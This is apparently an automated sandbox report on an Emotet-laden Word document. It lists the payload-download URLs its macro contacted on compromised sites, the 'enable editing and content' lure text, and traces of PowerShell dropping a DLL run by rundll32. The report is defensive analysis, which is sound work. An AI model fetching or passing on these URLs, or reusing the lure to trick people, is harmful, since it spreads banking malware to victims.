Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: https://mrveggy.com
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in binary or memory: https://mrveggy.com/wp-admin/n/
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0D
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000005.00000002.2120574374.0000000003C1C000.00000004.00000001.sdmp String found in binary or memory: https://theo.digital
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in binary or memory: https://theo.digital/wp-admin/Zyl2/
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: https://ummahstars.com
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in binary or memory: https://ummahstars.com/app_old_may_2018/assets/wDL8x/
Source: powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in binary or memory: https://www.teelekded.com/cgi-bin/LPo/
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: https://www.teelekded.com/cgi-bin/LPo/P
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 00000007.00000002.2124049424.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2135634388.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2345582268.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2161670466.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2168147039.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2125246682.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2124029835.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2345600716.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2144436282.00000000003B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2134225145.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2158222517.0000000000250000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2346676454.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2144335956.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2145866695.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2158182708.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2168130211.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2173566847.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2134257328.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.250000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.3b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.200000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.3b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.raw.unpack, type: UNPACKEDPE
Drops certificate files (DER)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Jump to dropped file

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words:
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available fOr protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words: 3,934 N@m 13 ;a 1009
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. a &1 @ O I @ 100% G)
Source: Screenshot number: 8 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. a &1 @ O I @ 100% G) A GE)
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available fOr protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll Jump to dropped file
Very long command line found
Source: unknown Process created: Commandline size = 5569
Source: unknown Process created: Commandline size = 5468
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5468 Jump to behavior
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\rundll32.exe Process Stats: CPU usage > 98%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Fqtgesmysxdwyacz\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10017D7D 7_2_10017D7D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100189F6 7_2_100189F6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007605 7_2_10007605
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000620A 7_2_1000620A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001F411 7_2_1001F411
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000F813 7_2_1000F813
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000D013 7_2_1000D013
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10008816 7_2_10008816
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000421E 7_2_1000421E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C424 7_2_1001C424
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002628 7_2_10002628
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004A2B 7_2_10004A2B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000DC2F 7_2_1000DC2F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10018831 7_2_10018831
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007E34 7_2_10007E34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000A83A 7_2_1000A83A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000903F 7_2_1000903F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10014E4B 7_2_10014E4B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000704B 7_2_1000704B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000D44C 7_2_1000D44C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C04C 7_2_1001C04C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10005856 7_2_10005856
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10001658 7_2_10001658
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10011259 7_2_10011259
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10018668 7_2_10018668
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C07D 7_2_1000C07D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10014693 7_2_10014693
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001CAA0 7_2_1001CAA0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004EA1 7_2_10004EA1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10008CA3 7_2_10008CA3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C6AD 7_2_1001C6AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100056B3 7_2_100056B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10015AB8 7_2_10015AB8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10005EB9 7_2_10005EB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100106C2 7_2_100106C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10009CC8 7_2_10009CC8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001D2CB 7_2_1001D2CB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000D0DE 7_2_1000D0DE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10009AE1 7_2_10009AE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100142E2 7_2_100142E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001DEE8 7_2_1001DEE8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100094EC 7_2_100094EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C6EF 7_2_1000C6EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000CF11 7_2_1000CF11
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10015115 7_2_10015115
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001231B 7_2_1001231B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001BF25 7_2_1001BF25
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001DB25 7_2_1001DB25
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000492A 7_2_1000492A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001D530 7_2_1001D530
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000213E 7_2_1000213E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000CB42 7_2_1000CB42
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10016B45 7_2_10016B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001654F 7_2_1001654F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10003D4E 7_2_10003D4E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10018F65 7_2_10018F65
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10012965 7_2_10012965
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001676B 7_2_1001676B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10010F6D 7_2_10010F6D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10011B71 7_2_10011B71
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10017570 7_2_10017570
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000A176 7_2_1000A176
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001DD78 7_2_1001DD78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10013D7C 7_2_10013D7C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001E19F 7_2_1001E19F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100199A4 7_2_100199A4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10015DAA 7_2_10015DAA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001EDB9 7_2_1001EDB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10006BC0 7_2_10006BC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100173C0 7_2_100173C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100177C0 7_2_100177C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10019DC0 7_2_10019DC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100193C9 7_2_100193C9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001CDCC 7_2_1001CDCC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000ADCE 7_2_1000ADCE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001B1D2 7_2_1001B1D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004BDE 7_2_10004BDE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10005BE1 7_2_10005BE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002DEE 7_2_10002DEE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100137F4 7_2_100137F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001B3FE 7_2_1001B3FE
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: 68254_2001.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module Gci_56o45gw, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: 68254_2001.doc OLE indicator, VBA macros: true
Document has an unknown application name
Source: 68254_2001.doc OLE indicator application name: unknown
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll A9DD98F4B6FE0B997F8B3D50F1CA405F02583A02133874FE123EAEA6C22DAB00
Source: powershell.exe, 00000005.00000002.2123472940.000000001CF10000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127555441.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124154383.0000000001F60000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.evad.winDOC@20/14@7/10
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$254_2001.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRCFCC.tmp Jump to behavior
Source: 68254_2001.doc OLE indicator, Word Document stream: true
Source: 68254_2001.doc OLE document summary: title field not present or empty
Source: 68254_2001.doc OLE document summary: author field not present or empty
Source: 68254_2001.doc OLE document summary: edited time not present or 0
Source: C:\Windows\System32\msg.exe Console Write: ............2........................... .>.......>............. .......................#...............................h.......5kU............. Jump to behavior
Source: C:\Windows\System32\msg.exe Console Write: ............2...................A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e...............L....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................................................`I.........v.....................K........g............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................(.j....................................}..v.....^......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................(.j..... ..............................}..v....p_......0.................g............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................(.j....................................}..v....0l......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................(.j......g.............................}..v.....l......0...............x.g............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#...............T(.j....................................}..v....p.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#...............T(.j..... ..............................}..v............0.................g............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....7...............d..j.....Fg.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....7..................j....X...............................}..v............0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....C...............d..j.....Fg.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....C..................j....X...............................}..v............0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....O...............d..j.....Fg.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....O..................j....X...............................}..v............0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....[.......e.s. .a.r.e. .".S.s.l.3.,. .T.l.s."...".........}..v............0................Cg.....(....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....[..................j....................................}..v....(.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....g.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.5.7.............}..v....8.......0................Cg.....$....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....g..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....s...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....s..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8%......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....%..............................}..v....p&......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8-......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....-..............................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....85......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....5..............................}..v....p6......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8=......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....=..............................}..v....p>......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8E......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....E..............................}..v....pF......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8M......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....M..............................}..v....pN......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8U......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....U..............................}..v....pV......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E.......................d..j.....Fg.............................}..v....8]......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....]..............................}..v....p^......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8e......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....e..............................}..v....pf......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8m......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....m..............................}..v....pn......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8u......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....u..............................}..v....pv......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8}......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....}..............................}..v....p~......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....3...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
